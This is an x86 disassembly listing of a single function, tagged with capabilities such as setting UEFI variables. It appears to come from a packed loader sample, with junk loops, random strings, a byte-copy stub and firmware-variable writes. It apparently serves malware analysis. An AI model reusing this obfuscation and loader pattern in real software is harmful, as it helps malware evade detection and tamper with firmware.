Function at 0x409d30
Capabilities:
Get common file path
Get file attributes
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x42b304]
mov ecx, dword [0x2713cb4]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x180
jne 0x409d6d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x409d81
mov dword [0x42be08], edi
mov dword [0x42be0c], esi
inc eax
cmp eax, 0x12376ec
jl 0x409d60
mov edi, dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
mov dword [0x2713cb4], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x409da9
mov eax, dword [0x429ef8]
mov dword [0x2713de4], eax
cmp ecx, 0x3c
jne 0x409db9
push ebx
push ebx
push ebx
call edi
mov ecx, dword [0x2713cb4]
inc esi
cmp esi, 0x5f6c74
jl 0x409d97
cmp ecx, 0x7c
jne 0x409e39
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.USER32.dll_UpdateWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
lea edx, [ebp - 0x80c]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp dword [0x2713cb4], 0x2d
jne 0x409e1b
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x427f34
push 0x42bd80
call fcn.0040100f
push ebx
call fcn.00401116
mov ecx, dword [0x2713cb4]
add esp, 0xc
cmp ecx, 0x110a
jne 0x409eb4
mov dword [0x2713ca8], ebx
mov dword [0x2713cac], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push str.rowonigupiwojixeyabepulipo_perosumukopumesiyacefu_kujimoyoxipuboza_bosimifuyimulehobakomo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.suguga
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x804]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push ebx
push ebx
call fcn.004010c0
push ebx
push ebx
call fcn.004010c0
push ebx
call fcn.00409884
push ebx
push ebx
call fcn.004010c0
push ebx
push ebx
call fcn.00401121
push ebx
call fcn.0040108c
add esp, 0x28
call fcn.004099b0
xor esi, esi
cmp dword [0x2713cb4], ebx
jbe 0x409f1c
mov edi, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, 0x19b0
mov edi, edi
mov edx, dword [0x2713de4]
mov dword [ebp - 0x808], edx
mov eax, 0xa231
add dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x808]
mov cl, byte [eax + esi]
mov edx, dword [0x2713afc]
mov byte [edx + esi], cl
cmp dword [0x2713cb4], 0x5ab
jne 0x409f13
push 0
push 0
push 0
call edi
mov dword [0x2713b00], ebx
inc esi
cmp esi, dword [0x2713cb4]
jb 0x409ed0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409a20
call fcn.004099f0
call fcn.00409cf0
call fcn.004099e0
mov ebx, dword [ebp - 0x82c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
xor esi, esi
lea esp, [esp]
lea eax, [ebp - 0x404]
push eax
call edi
cmp esi, 0x408e
jle 0x409f69
cmp ebx, 0xf5bed7
jne 0x409f72
inc esi
cmp esi, 0x687ed2
jl 0x409f50
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x808], 0x1e4165
mov ebx, 0x8e46a6f0
lea ecx, [ecx]
cmp dword [0x2713cb4], 0xcc1
jne 0x409fac
push 0
push 0
push str.luhizekudisitejarujod
push str.tidayafoveduhulifobe
call esi
cmp dword [0x2713cb4], 0x7c4
mov dword [0x2713cb0], ebx
jne 0x409fc0
call edi
sub dword [ebp - 0x808], 1
jne 0x409f90
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret